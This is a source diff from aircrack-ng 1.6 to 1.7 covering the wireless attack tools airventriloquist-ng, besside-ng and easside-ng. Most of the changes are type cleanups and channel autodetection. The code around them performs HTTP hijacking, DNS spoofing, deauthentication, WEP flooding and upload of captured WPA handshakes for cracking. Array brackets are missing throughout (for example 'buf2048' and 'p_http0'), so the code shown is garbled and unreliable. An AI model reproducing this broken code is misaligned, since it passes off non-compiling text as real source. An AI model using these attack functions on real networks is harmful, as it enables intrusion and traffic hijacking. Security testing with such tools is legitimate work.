 	}
 
 	return (NULL);
 }
 
-static void packet_turnaround_80211(u_int8_t * pkt)
+static void packet_turnaround_80211(uint8_t * pkt)
 {
 	REQUIRE(pkt != NULL);
 
 	struct ieee80211_frame * p_res802 = (struct ieee80211_frame *) pkt;
-	u_int8_t tmp_macIEEE80211_ADDR_LEN = {0};
+	uint8_t tmp_macIEEE80211_ADDR_LEN = {0};
 
 	// IF TODS, flip to FROMDS
 	if (p_res802->i_fc1 & IEEE80211_FC1_DIR_TODS)
@@ -687,7 +650,7 @@
 	REQUIRE(p_resip != NULL);
 
 	// Switch the IP source and destination addresses
-	u_int32_t tmp_addr = p_resip->saddr;
+	uint32_t tmp_addr = p_resip->saddr;
 	p_resip->saddr = p_resip->daddr;
 	p_resip->daddr = tmp_addr;
 	p_resip->ttl = 63;
@@ -698,22 +661,22 @@
 	REQUIRE(p_resudp != NULL);
 
 	// Switch the UDP source and destination Ports
-	u_int16_t tmp_port = p_resudp->sport;
+	uint16_t tmp_port = p_resudp->sport;
 	p_resudp->sport = p_resudp->dport;
 	p_resudp->dport = tmp_port;
 }
 
 static void packet_turnaround_ip_tcp(struct tcp_hdr * p_restcp,
-									 u_int32_t next_seq_hint)
+									 uint32_t next_seq_hint)
 {
 	REQUIRE(p_restcp != NULL);
 
 	// Switch the TCP source and destination Ports
-	u_int16_t tmp_port = p_restcp->sport;
+	uint16_t tmp_port = p_restcp->sport;
 	p_restcp->sport = p_restcp->dport;
 	p_restcp->dport = tmp_port;
 
-	u_int32_t tmp_num = p_restcp->seqnu;
+	uint32_t tmp_num = p_restcp->seqnu;
 	p_restcp->seqnu = p_restcp->ack_seq;
 	p_restcp->ack_seq = tmp_num;
 
@@ -723,13 +686,13 @@
 	p_restcp->ack_seq = htonl(tmp_num);
 }
 
-static u_int16_t dns_name_end(u_int8_t * buff, u_int16_t maxlen)
+static uint16_t dns_name_end(uint8_t * buff, uint16_t maxlen)
 {
 	REQUIRE(buff != NULL);
 
-	u_int8_t * ptr = buff;
-	u_int8_t count = 0;
-	u_int16_t offset = 0;
+	uint8_t * ptr = buff;
+	uint8_t count = 0;
+	uint16_t offset = 0;
 
 	while (offset < maxlen)
 	{
@@ -743,7 +706,7 @@
 	return (offset);
 }
 
-static int strip_ccmp_header(u_int8_t * h80211, int caplen, unsigned char PN6)
+static int strip_ccmp_header(uint8_t * h80211, int caplen, unsigned char PN6)
 {
 	REQUIRE(h80211 != NULL);
 
@@ -770,7 +733,7 @@
 }
 
 static void
-encrypt_data_packet(u_int8_t * packet, int length, struct WPA_ST_info * sta_cur)
+encrypt_data_packet(uint8_t * packet, int length, struct WPA_ST_info * sta_cur)
 {
 	if ((NULL == sta_cur) || (!sta_cur->valid_ptk))
 	{
@@ -799,13 +762,13 @@
 // Global packet buffer for use in building response packets
 static uint8_t pkt2048 = {0};
 
-static void process_unencrypted_data_packet(u_int8_t * packet,
-											u_int32_t length,
-											u_int32_t debug)
+static void process_unencrypted_data_packet(uint8_t * packet,
+											uint32_t length,
+											uint32_t debug)
 {
 	if (debug) hexDump("full", packet, length);
 
-	u_int8_t * packet_start = packet;
+	uint8_t * packet_start = packet;
 	int packet_start_length = length;
 	char extra_enc_length = 0;
 
@@ -1024,9 +987,9 @@
 					length += extra_enc_length;
 					// TCP header size = first 4bits * 32 / 8, same as first
 					// 4bits *4
-					u_int32_t hdr_size = p_tcp->doff * 4;
-					u_int8_t * p_http = packet + hdr_size;
-					u_int32_t l_http = length - hdr_size;
+					uint32_t hdr_size = p_tcp->doff * 4;
+					uint8_t * p_http = packet + hdr_size;
+					uint32_t l_http = length - hdr_size;
 					// Find a GET
 					if ((1 == lopt.flag_http_hijack)
 						&& (p_http0 == 0x47 && p_http1 == 0x45
@@ -1070,7 +1033,7 @@
 							= (struct tcp_hdr *) (pkt + offset_proto);
 						struct ip_frame * p_resip
 							= (struct ip_frame *) (pkt + offset_ip);
-						u_int32_t res_length
+						uint32_t res_length
 							= packet_start_length; // This only initially until
 						// we replace content
 
@@ -1090,9 +1053,8 @@
 						p_resip_ack->tot_len
 							= htons(hdr_size + sizeof(struct ip_frame));
 						p_resip_ack->check = 0;
-						p_resip_ack->check
-							= calcsum((unsigned short *) p_resip_ack,
-									  sizeof(struct ip_frame));
+						p_resip_ack->check = calcsum((void *) p_resip_ack,
+													 sizeof(struct ip_frame));
 
 						// We could try some stuff with tcp reset
 						p_restcp_ack->rst = 1;
@@ -1152,7 +1114,7 @@
 						p_resip->tot_len = htons(l_http + hdr_size
 												 + sizeof(struct ip_frame));
 						p_resip->check = 0;
-						p_resip->check = calcsum((unsigned short *) p_resip,
+						p_resip->check = calcsum((void *) p_resip,
 												 sizeof(struct ip_frame));
 
 						// Lets calculate the TCP checksum
@@ -1186,7 +1148,7 @@
 							printf("Error Sending Packet\n");
 						printf("\n");
 						// Uncomment to send RST packet to the server
-						// if (send_packet(_wi_out, tmpbuf, tmpbuf_len, true) != 0)
+						// if (send_packet(_wi_out, tmpbuf, tmpbuf_len, kRewriteSequenceNumber) != 0)
 						//    printf("ERROR: couldn't send Ack\n");
 						return;
 					}
@@ -1210,13 +1172,13 @@
 						= (struct udp_hdr *) (pkt + offset_proto);
 
 					int dns_offset = offset_proto + sizeof(struct udp_hdr);
-					u_int8_t * p_dns = packet_start + dns_offset;
-					u_int8_t * p_resdns = pkt + dns_offset;
+					uint8_t * p_dns = packet_start + dns_offset;
+					uint8_t * p_resdns = pkt + dns_offset;
 
 					// Copy the beginning part of the packet
 					memcpy(p_resdns, DNS_RESP_PCKT_1, sizeof(DNS_RESP_PCKT_1));
 					struct dns_query * p_dnsq = (struct dns_query *) p_dns;
-					int dns_qlen = dns_name_end((u_int8_t *) &p_dnsq->qdata,
+					int dns_qlen = dns_name_end((uint8_t *) &p_dnsq->qdata,
 												packet_start_length);
 
 					// Copy the request DNS name into the response
@@ -1246,8 +1208,8 @@
 								+ sizeof(struct ip_frame));
 					// Set checksum to zero before calculating...
 					p_resip->check = 0;
-					p_resip->check = calcsum((unsigned short *) p_resip,
-											 sizeof(struct ip_frame));
+					p_resip->check
+						= calcsum((void *) p_resip, sizeof(struct ip_frame));
 
 					p_resudp->len = htons(dns_resplen + sizeof(struct udp_hdr));
 					p_resudp->checksum = 0;
@@ -1303,8 +1265,8 @@
 						= (struct ip_frame *) (pkt + offset_ip);
 					// Set checksum to zero before calculating checksum...
 					p_resip->check = 0;
-					p_resip->check = calcsum((unsigned short *) p_resip,
-											 sizeof(struct ip_frame));
+					p_resip->check
+						= calcsum((void *) p_resip, sizeof(struct ip_frame));
 
 					struct icmp * p_resicmp
 						= (struct icmp *) (pkt + size_80211hdr
@@ -1328,7 +1290,7 @@
 					}
 					p_resicmp->icmp_cksum = 0;
 					p_resicmp->icmp_cksum
-						= calcsum((unsigned short *) p_resicmp, icmp_length);
+						= calcsum((void *) p_resicmp, icmp_length);
 
 					if (IEEE80211_FC1_WEP & wfrm->i_fc1)
 					{
@@ -1351,9 +1313,9 @@
 	}
 }
 
-static bool is_adhoc_frame(u_int8_t * packet)
+static bool is_adhoc_frame(uint8_t * packet)
 {
-	u_int8_t * p_stmac = packet_get_sta_80211(packet);
+	uint8_t * p_stmac = packet_get_sta_80211(packet);
 
 	if (NULL == p_stmac)
 	{
@@ -1365,7 +1327,7 @@
 	}
 }
 
-static bool find_station_in_db(u_int8_t * p_stmac)
+static bool find_station_in_db(uint8_t * p_stmac)
 {
 	lopt.st_prv = NULL;
 	lopt.st_cur = lopt.st_1st;
@@ -1419,15 +1381,15 @@
 	return (FALSE);
 }
 
-static void process_station_data(u_int8_t * packet, int length)
+static void process_station_data(uint8_t * packet, int length)
 {
 	if (is_length_lt_wfrm(length)) return;
 
 	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
 
-	u_int8_t * p_stmac = packet_get_sta_80211(packet);
+	uint8_t * p_stmac = packet_get_sta_80211(packet);
 	ALLEGE(p_stmac != NULL);
-	u_int8_t * p_bssid = packet_get_bssid_80211(packet);
+	uint8_t * p_bssid = packet_get_bssid_80211(packet);
 	ALLEGE(p_bssid != NULL);
 
 	if (!find_station_in_db(p_stmac))
@@ -1491,13 +1453,13 @@
 	return (IEEE80211_FC0_SUBTYPE_QOS & wfrm->i_fc0);
 }
 
-static bool is_wfrm_already_processed(u_int8_t * packet, int length)
+static bool is_wfrm_already_processed(uint8_t * packet, int length)
 {
 	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
 
 	// check if we haven't already processed this packet
 	// If we have, just return, don't process packet twice
-	u_int32_t crc = calc_crc_buf(packet, length);
+	uint32_t crc = calc_crc_buf(packet, length);
 
 	// IF TODS
 	if (wfrm_is_tods(wfrm))
@@ -1521,7 +1483,7 @@
 	return (FALSE);
 }
 
-static struct llc_frame * find_llc_frm_ptr(u_int8_t * packet, int length)
+static struct llc_frame * find_llc_frm_ptr(uint8_t * packet, int length)
 {
 	if (is_length_lt_wfrm(length)) return (NULL);
 
@@ -1535,9 +1497,9 @@
 	return (p_llc);
 }
 
-static void process_wireless_data_packet(u_int8_t * packet, int length)
+static void process_wireless_data_packet(uint8_t * packet, int length)
 {
-	u_int8_t * packet_start = packet;
+	uint8_t * packet_start = packet;
 	int packet_start_length = length;
 
 	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
@@ -1633,7 +1595,7 @@
 	}
 }
 
-static void process_wireless_packet(u_int8_t * packet, int length)
+static void process_wireless_packet(uint8_t * packet, int length)
 {
 	REQUIRE(packet != NULL);
 
@@ -1871,6 +1833,7 @@
 				break;
 
 			case 'n':
+			{
 				printf("DNS IP: %s\n", optarg);
 				int retval = inet_pton(AF_INET, optarg, &lopt.p_dnsspoof_ip);
 				if (1 != retval)
@@ -1882,7 +1845,8 @@
 					return (EXIT_FAILURE);
 				}
 				lopt.flag_dnsspoof = 1;
-				break;
+			}
+			break;
 
 			case 's':
 				printf("Hijack search term: %s\n", optarg);
@@ -1923,9 +1887,8 @@
 				free(progname);
 				return (EXIT_SUCCESS);
 
-			default:
-			// intentional fall through
 			case ':':
+			default:
 				printf("\"%s --help\" for help.\n", argv0);
 		}
 	}
@@ -1966,6 +1929,7 @@
 
 			printf("We have a redirect specified\n");
 			char * p_url = strstr(packet302_redirect, REDIRECT_PLACEHOLDER);
+			ALLEGE(p_url != NULL);
 
 			int total_len = strlen(packet302_redirect)
 							- strlen(REDIRECT_PLACEHOLDER)

aircrack-ng-1.6.tar.gz/src/airventriloquist-ng/airventriloquist-ng.h -> aircrack-ng-1.7.tar.gz/src/airventriloquist-ng/airventriloquist-ng.h Changed

aircrack-ng-1.6.tar.gz/src/besside-ng-crawler/besside-ng-crawler.c -> aircrack-ng-1.7.tar.gz/src/besside-ng-crawler/besside-ng-crawler.c Changed

@@ -332,8 +332,6 @@
 	DIR * curdir;
 	struct dirent * curent;
 	struct stat curstat;
-	char * fullname = NULL;
-	size_t fullname_size = 0;
 
 	stats_dirs++;
 
@@ -356,13 +354,13 @@
 			continue;
 		}
 
-		fullname_size = strlen(dir) + strlen(curent->d_name) + 2;
-		ALLEGE(fullname == NULL);
-		fullname = malloc(fullname_size);
+		size_t fullname_size = strlen(dir) + strlen(curent->d_name) + 2; //-V814
+		char * fullname = malloc(fullname_size);
 		ALLEGE(fullname != NULL);
-		strncpy(fullname, dir, strlen(dir) + 1);
-		strncat(fullname, "/", fullname_size - 1);
-		strncat(fullname, curent->d_name, fullname_size - 1);
+		ALLEGE(strlcpy(fullname, dir, fullname_size) < fullname_size);
+		ALLEGE(strlcat(fullname, "/", fullname_size) < fullname_size);
+		ALLEGE(strlcat(fullname, curent->d_name, fullname_size)
+			   < fullname_size);
 
 		if (stat(fullname, &curstat))
 		{
@@ -396,12 +394,9 @@
 		}
 
 		free(fullname);
-		fullname = NULL;
 		curent = readdir(curdir);
 	}
 
-	ALLEGE(fullname == NULL);
-
 	if (errno) perror("Reading directory failed");
 
 	closedir(curdir);

aircrack-ng-1.6.tar.gz/src/besside-ng/besside-ng.c -> aircrack-ng-1.7.tar.gz/src/besside-ng/besside-ng.c Changed

@@ -138,6 +138,7 @@
 {
 	char * cf_ifname;
 	struct channel cf_channels;
+	int cf_autochan;
 	int cf_hopfreq;
 	int cf_deauthfreq;
 	unsigned char * cf_bssid;
@@ -255,6 +256,7 @@
 
 static void attack_continue(struct network * n);
 static void attack(struct network * n);
+static void autodetect_channels(void);
 
 void show_wep_stats(int UNUSED(B),
 					int UNUSED(force),
@@ -337,12 +339,6 @@
 		len = 17;
 	}
 
-	if (n->n_astate == ASTATE_UNREACH)
-	{
-		fprintf(f, "Crappy connection");
-		len = 17;
-	}
-
 	while (len++ < 38) fprintf(f, " ");
 
 	char * mac_bssid = mac2string(n->n_bssid);
@@ -657,7 +653,7 @@
 	REQUIRE(n != NULL);
 	REQUIRE(mac != NULL);
 
-	unsigned char buf2048;
+	unsigned char bufsizeof(struct ieee80211_frame) * 16;
 	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
 	uint16_t * rc = (uint16_t *) (wh + 1);
 
@@ -840,9 +836,11 @@
 			 boundary,
 			 (int) (strlen(h1) + strlen(form) + tot));
 
-	if (write(s, buf, strlen(buf)) != (int) strlen(buf)) goto __fail;
+	const size_t buf_sz = strlen(buf);
+	if (write(s, buf, buf_sz) != (int) buf_sz) goto __fail;
 
-	if (write(s, h1, strlen(h1)) != (int) strlen(h1)) goto __fail;
+	const size_t h1_sz = strlen(h1);
+	if (write(s, h1, h1_sz) != (int) h1_sz) goto __fail;
 
 	if ((off = lseek(_state.s_wpafd, 0, SEEK_CUR)) == (off_t) -1)
 		err(1, "lseek()");
@@ -862,7 +860,8 @@
 		tot -= l;
 	}
 
-	if (write(s, form, strlen(form)) != (int) strlen(form)) goto __fail;
+	const size_t form_sz = strlen(form);
+	if (write(s, form, form_sz) != (int) form_sz) goto __fail;
 
 	if (lseek(_state.s_wpafd, off, SEEK_SET) == (off_t) -1) err(1, "lseek()");
 
@@ -934,7 +933,7 @@
 	{
 		case ASTATE_READY:
 			n->n_astate = ASTATE_DEAUTH;
-		/* fallthrough */
+			fallthrough;
 		case ASTATE_DEAUTH:
 			deauth(n);
 			break;
@@ -988,7 +987,7 @@
 {
 	REQUIRE(n != NULL);
 
-	unsigned char buf2048;
+	unsigned char bufsizeof(struct ieee80211_frame) * 16;
 	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
 	uint16_t * rc = (uint16_t *) (wh + 1);
 
@@ -1355,7 +1354,7 @@
 {
 	REQUIRE(n != NULL);
 
-	unsigned char buf2048;
+	unsigned char bufsizeof(struct ieee80211_frame) * 16;
 	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
 	uint16_t * rc = (uint16_t *) (wh + 1);
 	unsigned char * p;
@@ -1570,7 +1569,7 @@
 	{
 		case ASTATE_READY:
 			n->n_astate = ASTATE_WEP_PRGA_GET;
-		/* fallthrough */
+			fallthrough;
 		case ASTATE_WEP_PRGA_GET:
 			prga_get(n);
 			break;
@@ -1591,7 +1590,7 @@
 	{
 		case ASTATE_NONE:
 			n->n_astate = ASTATE_PING;
-		/* fall through */
+			fallthrough;
 		case ASTATE_PING:
 			n->n_ping_got = n->n_ping_sent = 0;
 			attack_ping(n);
@@ -1599,7 +1598,7 @@
 
 		case ASTATE_DONE:
 			pwned(n);
-		/* fallthrough */
+			fallthrough;
 		case ASTATE_UNREACH:
 			if (_conf.cf_bssid)
 				_state.s_state = STATE_DONE;
@@ -1631,7 +1630,8 @@
 
 	char * mac = mac2string(n->n_bssid);
 	ALLEGE(mac != NULL);
-	time_printf(V_VERBOSE, "Pwning %s %s\n", n->n_ssid, mac);
+	time_printf(
+		V_VERBOSE, "Pwning %s %s on chan %d\n", n->n_ssid, mac, n->n_chan);
 	free(mac);
 
 	if (n->n_start.tv_sec == 0)
@@ -1865,6 +1865,7 @@
 				break;
 
 			case IEEE80211_ELEMID_DSPARMS:
+			case IEEE80211_ELEMID_HTINFO:
 				n->n_chan = *p;
 				break;
 
@@ -2357,7 +2358,7 @@
 		|| n->n_astate != ASTATE_WEP_FLOOD)
 		return;
 
-	if (!(wh->i_fc1 |= IEEE80211_FC1_DIR_FROMDS)) return;
+	if (!(wh->i_fc1 & IEEE80211_FC1_DIR_FROMDS)) return;
 
 	if (memcmp(wh->i_addr3, _state.s_mac, sizeof(wh->i_addr3)) != 0) return;
 
@@ -2609,15 +2610,17 @@
 static void wifi_read(void)
 {
 	struct state * s = &_state;
-	unsigned char buf2048;
+	unsigned char bufsizeof(struct ieee80211_frame) * 8;
 	int rd;
-	struct rx_info ri;
+	struct rx_info * ri = calloc(1, sizeof(*ri));
 	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
 	struct network * n;
 
+	REQUIRE(ri != NULL);
+
 	memset(buf, 0, sizeof(buf));
 
-	rd = wi_read(s->s_wi, NULL, NULL, buf, sizeof(buf), &ri);
+	rd = wi_read(s->s_wi, NULL, NULL, buf, sizeof(buf), ri);
 	if (rd < 0) err(1, "wi_read()");
 
 	if (rd < (int) sizeof(struct ieee80211_frame))
@@ -2625,7 +2628,7 @@
 		return;
 	}
 
-	s->s_ri = &ri;
+	s->s_ri = ri;
 
 	n = network_update(wh);
 
@@ -2859,7 +2862,7 @@
 	while (in)
 	{
 		char * p = strchr(in, ':');
-		int x;
+		unsigned int x;
 
 		if (--l < 0) err(1, "parse_hex len");
 
@@ -2915,7 +2918,7 @@
 				if (strstr(p, "handshake"))
 				{
 					n->n_crypto = CRYPTO_WPA;
-					n->n_client_handshake = (void *) 0xbad;
+					n->n_client_handshake = (void *) 0xbad; //-V566
 				}
 				else if (strchr(p, ':'))
 				{
@@ -3004,6 +3007,10 @@
 
 	print_work();
 
+#ifdef HAVE_PCRE
+	if (_conf.cf_essid_regex) pcre_free(_conf.cf_essid_regex);
+#endif
+
 	exit(EXIT_SUCCESS);
 }
 
@@ -3030,6 +3037,8 @@
 	free(mac);
 	time_printf(V_NORMAL, "Let's ride\n");
 
+	if (_conf.cf_autochan) autodetect_channels();
+
 	if (wi_set_channel(s->s_wi, _state.s_chan) == -1)
 		err(1, "wi_set_channel()");
 
@@ -3043,7 +3052,7 @@
 
 	scan_start();
 
-	while (s->s_state != STATE_DONE)
+	while (s->s_state != STATE_DONE) //-V1044
 	{
 		timer_next(&tv);
 
@@ -3089,14 +3098,47 @@
 	c->c_next = _conf.cf_channels.c_next;
 }
 
-static void init_conf(void)
+static void autodetect_freq(int start, int end, int incr)
 {
-	int i;
 
-	_conf.cf_channels.c_next = &_conf.cf_channels;
+	int freq;
+	int chan;
+
+	for (freq = start; freq <= end; freq += incr)
+	{
+		if (wi_set_freq(_state.s_wi, freq) == 0)
+		{
+			chan = wi_get_channel(_state.s_wi);
+			channel_add(chan);
+			time_printf(
+				V_VERBOSE, "Found channel %d on frequency %d\n", chan, freq);
+		}
+		else
+		{
+			time_printf(V_VERBOSE, "No channel found on frequency %d\n", freq);
+		}
+	}
+}
+
+static void autodetect_channels(void)
+{
+	time_printf(V_NORMAL, "Autodetecting supported channels...\n");
 
-	for (i = 1; i <= 11; i++) channel_add(i);
+	// clang-format off
+	// autodetect 2ghz channels
+	autodetect_freq(2412, 2472, 5);  //-V525  CH: 1-13
+	autodetect_freq(2484, 2484, 1);  //-V525  CH: 14
+	autodetect_freq(5180, 5320, 10); //-V525  CH: 36-64
+	autodetect_freq(5500, 5720, 10); //-V525  CH: 100-144
+	autodetect_freq(5745, 5805, 10); //-V525  CH: 149-161
+	autodetect_freq(5825, 5825, 1);  //-V525  CH: 165
+	// clang-format on
+}
 
+static void init_conf(void)
+{
+	_conf.cf_channels.c_next = &_conf.cf_channels;
+	_conf.cf_autochan = 1;
 	_state.s_hopchan = _conf.cf_channels.c_next;
 
 	_conf.cf_hopfreq = 250;
@@ -3202,28 +3244,18 @@
 	} while (c != c2);
 	printf("\n");
 
-	printf(
-#if !defined(__APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__)
-		"Now: %lu.%lu\n",
-#else
-		"Now: %lu.%d\n",
-#endif
-		s->s_now.tv_sec,
-		s->s_now.tv_usec);
+	printf("Now: %lu.%lu\n",
+		   (unsigned long) s->s_now.tv_sec,
+		   (unsigned long) s->s_now.tv_usec);
 
 	while (t)
 	{
-		printf(
-#if !defined(__APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__)
-			"Timer: %lu.%lu %p%s(%p)\n",
-#else
-			"Timer: %lu.%d %p%s(%p)\n",
-#endif
-			t->t_tv.tv_sec,
-			t->t_tv.tv_usec,
-			t->t_cb,
-			timer_cb2str(t->t_cb),
-			t->t_arg);
+		printf("Timer: %lu.%lu %p%s(%p)\n",
+			   (unsigned long) t->t_tv.tv_sec,
+			   (unsigned long) t->t_tv.tv_usec,
+			   (void *) ((uintptr_t) t->t_cb),
+			   timer_cb2str(t->t_cb),
+			   t->t_arg);
 
 		t = t->t_next;
 	}
@@ -3245,16 +3277,14 @@
 		   "\n"
 		   "  Options:\n"
 		   "\n"
-		   "       -b <victim mac> : Victim BSSID\n"
-#ifdef HAVE_PCRE
-		   "       -R <victim ap regex> : Victim ESSID regex\n"
-#endif
-		   "       -s <WPA server> : Upload wpa.cap for cracking\n"
-		   "       -c       <chan> : chanlock\n"
-		   "       -p       <pps>  : flood rate\n"
-		   "       -W              : WPA only\n"
-		   "       -v              : verbose, -vv for more, etc.\n"
-		   "       -h              : This help screen\n"
+		   "       -b <victim mac>       Victim BSSID\n"
+		   "       -R <victim ap regex>  Victim ESSID regex (requires PCRE)\n"
+		   "       -s <WPA server>       Upload wpa.cap for cracking\n"
+		   "       -c <chan>             chanlock\n"
+		   "       -p <pps>              flood rate\n"
+		   "       -W                    WPA only\n"
+		   "       -v                    verbose, -vv for more, etc.\n"
+		   "       -h                    This help screen\n"
 		   "\n",
 		   version_info,
 		   prog);
@@ -3306,6 +3336,7 @@
 				}
 				channel_add(temp);
 				_state.s_hopchan = _conf.cf_channels.c_next;
+				_conf.cf_autochan = 0;
 				break;
 
 			case 'v':
@@ -3317,8 +3348,8 @@
 				parse_hex(_conf.cf_bssid, optarg, 6);
 				break;
 
-#ifdef HAVE_PCRE
 			case 'R':
+#ifdef HAVE_PCRE
 				if (_conf.cf_essid_regex != NULL)
 				{
 					printf("Error: ESSID regular expression already given. "
@@ -3338,6 +3369,10 @@
 					exit(EXIT_FAILURE);
 				}
 				break;
+#else
+				printf("Error: Regular expressions are unsupported in this "
+					   "build.\n");
+				exit(EXIT_FAILURE);
 #endif
 
 			default:
@@ -3362,9 +3397,5 @@
 
 	pwn();
 
-#ifdef HAVE_PCRE
-	if (_conf.cf_essid_regex) pcre_free(_conf.cf_essid_regex);
-#endif
-
-	exit(EXIT_SUCCESS);
+	/* UNREACHED */
 }

aircrack-ng-1.6.tar.gz/src/buddy-ng/buddy-ng.c -> aircrack-ng-1.7.tar.gz/src/buddy-ng/buddy-ng.c Changed

aircrack-ng-1.6.tar.gz/src/easside-ng/easside-ng.c -> aircrack-ng-1.7.tar.gz/src/easside-ng/easside-ng.c Changed

@@ -24,6 +24,7 @@
 #include <stdlib.h>
 #include <unistd.h>
 #include <string.h>
+#include <inttypes.h>
 #include <assert.h>
 #include <err.h>
 #include <fcntl.h>
@@ -225,7 +226,6 @@
 	REQUIRE(es != NULL);
 
 	int sz;
-	void * ptr;
 	struct rpacket * p;
 	struct owned * ow;
 	FILE * f;
@@ -236,8 +236,9 @@
 	es->es_buddys = 0;
 
 	/* reset state */
-	ptr = es->es_apmac;
-	sz = sizeof(*es) - ((unsigned long) ptr - (unsigned long) es);
+	char * ptr = (void *) es;
+	ptr += offsetof(struct east_state, es_apmac);
+	sz = sizeof(*es) - offsetof(struct east_state, es_apmac);
 	memset(ptr, 0, sz);
 
 	/* fixup state */
@@ -260,12 +261,13 @@
 	f = fopen(S_OWN_LOG, "a");
 	if (!f) err(1, "fopen()");
 	mac2str(mac, es->es_apmac, sizeof(mac));
+	char * pubip = inet_ntoa(es->es_pubip);
 	fprintf(f,
 			"%s %d %s %s\n",
 			mac,
 			es->es_apchan,
 			es->es_apssid,
-			inet_ntoa(es->es_pubip));
+			pubip ? pubip : "<unknown>");
 	fclose(f);
 
 	/* start over */
@@ -273,38 +275,39 @@
 	printf_time("Restarting");
 }
 
-/********** RIPPED
-************/
-static unsigned short in_cksum(unsigned short * ptr, int nbytes)
+static uint16_t in_cksum(const uint8_t * restrict ptr, size_t nbytes)
 {
-	REQUIRE(ptr != NULL);
+	long sum = 0;
+	uint16_t oddbyte = 0;
+	uint16_t answer;
 
-	register long sum;
-	u_short oddbyte;
-	register u_short answer;
+	REQUIRE(ptr != NULL);
 
-	sum = 0;
+	// sum of data stream
 	while (nbytes > 1)
 	{
-		sum += *ptr++;
+		const uint16_t v = load16((uint8_t *) ptr);
+		sum += v;
+		ptr += 2;
 		nbytes -= 2;
 	}
 
 	if (nbytes == 1)
 	{
-		oddbyte = 0;
-		*((u_char *) &oddbyte) = *(u_char *) ptr;
+		*((uint8_t *) &oddbyte) = *ptr;
 		sum += oddbyte;
 	}
 
+	// reduce sum to uint16_t
 	sum = (sum >> 16) + (sum & 0xffff);
+	// add any carry bits
 	sum += (sum >> 16);
+
+	// one's complement
 	answer = ~sum;
 
 	return (answer);
 }
-/**************
-************/
 
 static void open_wifi(struct east_state * es)
 {
@@ -410,7 +413,7 @@
 	REQUIRE(wh != NULL);
 
 	ieee80211_mgt_beacon_t b = (ieee80211_mgt_beacon_t)(wh + 1);
-	u_int16_t capa;
+	uint16_t capa;
 	int bhlen = 12;
 	int got_ssid = 0, got_channel = 0;
 	struct owned * own = es->es_owned;
@@ -1011,12 +1014,14 @@
 
 	ip3 = 123;
 	memcpy(&es->es_myip, ip, 4);
-	printf("My IP %s\n", inet_ntoa(es->es_myip));
+	char * myip = inet_ntoa(es->es_myip);
+	printf("My IP %s\n", myip ? myip : "<unknown>");
 	set_tap_ip(es);
 
 	ip3 = 1;
 	memcpy(&es->es_rtrip, ip, 4);
-	printf("Rtr IP %s\n", inet_ntoa(es->es_rtrip));
+	char * rtrip = inet_ntoa(es->es_rtrip);
+	printf("Rtr IP %s\n", rtrip ? rtrip : "<unknown>");
 	es->es_astate = AS_FIND_RTR_MAC;
 }
 
@@ -1106,7 +1111,7 @@
 	{
 		printf("\nGot checksum could use to help bforce addr\n");
 	}
-	else if ((es->es_prga_dlen >= off_s_addr)
+	else if ((es->es_prga_dlen >= off_s_addr) //-V695
 			 && (es->es_prga_dlen <= (off_s_addr + 4)))
 	{
 		unsigned char ip4;
@@ -1124,7 +1129,7 @@
 
 		if (es->es_have_src && iplen == 3) found_net_addr(es, ip);
 	}
-	else if ((es->es_prga_dlen >= off_d_addr)
+	else if ((es->es_prga_dlen >= off_d_addr) //-V695
 			 && (es->es_prga_dlen <= (off_d_addr + 4)))
 	{
 		unsigned char dip4;
@@ -1134,7 +1139,8 @@
 
 		decrypt_ip_addr(es, &sip, &i, data, off_s_addr);
 		decrypt_ip_addr(es, dip, &iplen, data, off_d_addr);
-		printf("\nIPs so far %s->", inet_ntoa(sip));
+		char * sipip = inet_ntoa(sip);
+		printf("\nIPs so far %s->", sipip ? sipip : "<unknown>");
 		for (i = 0; i < iplen; i++)
 		{
 			printf("%d", dipi);
@@ -1158,8 +1164,9 @@
 
 	es->es_astate = AS_CHECK_INET;
 	clear_timeout(es);
+	char * srvip = inet_ntoa(es->es_srvip);
 	printf("Trying to connect to buddy: %s:%d\n",
-		   inet_ntoa(es->es_srvip),
+		   srvip ? srvip : "<unknown>",
 		   es->es_port);
 
 	ALLEGE(es->es_buddys == 0);
@@ -1362,11 +1369,11 @@
 
 	mac2str(s, get_sa(wh), sizeof(s));
 	mac2str(d, get_da(wh), sizeof(d));
-	printf_time("Enqueued packet id %d %s->%s %d qlen %d\n",
+	printf_time("Enqueued packet id %d %s->%s %" PRIuMAX " qlen %d\n",
 				slot->rp_id,
 				s,
 				d,
-				len - sizeof(*wh) - 4 - 4,
+				(uintmax_t)((size_t) len - sizeof(*wh) - 8),
 				queue_len(es));
 }
 
@@ -1465,7 +1472,7 @@
 {
 	REQUIRE(es != NULL);
 
-	unsigned char buf8192;
+	unsigned char bufsizeof(struct ieee80211_frame) * 32;
 	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
 
 	const int len = wi_read(es->es_wi, NULL, NULL, buf, sizeof(buf), NULL);
@@ -1542,7 +1549,7 @@
 	unsigned short * sp;
 
 	/* macs */
-	memcpy(wh->i_addr1, es->es_apmac, sizeof(wh->i_addr1));
+	memcpy(wh->i_addr1, es->es_apmac, sizeof(wh->i_addr1)); //-V525
 	memcpy(wh->i_addr2, es->es_mymac, sizeof(wh->i_addr2));
 	memcpy(wh->i_addr3, es->es_apmac, sizeof(wh->i_addr3));
 
@@ -1599,7 +1606,7 @@
 {
 	REQUIRE(es != NULL);
 
-	unsigned char buf4096;
+	unsigned char bufsizeof(struct ieee80211_frame) * 32;
 	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
 	unsigned short * sp;
 
@@ -1623,7 +1630,7 @@
 {
 	REQUIRE(es != NULL);
 
-	unsigned char buf4096;
+	unsigned char bufsizeof(struct ieee80211_frame) * 32;
 	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
 	unsigned short * sp;
 	int len;
@@ -1689,7 +1696,7 @@
 {
 	REQUIRE(es != NULL);
 
-	unsigned char buf2048;
+	unsigned char bufsizeof(struct ieee80211_frame) * 32;
 	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
 	unsigned char * data = (unsigned char *) (wh + 1);
 	unsigned short * sp = (unsigned short *) wh->i_seq;
@@ -1787,7 +1794,7 @@
 {
 	REQUIRE(es != NULL);
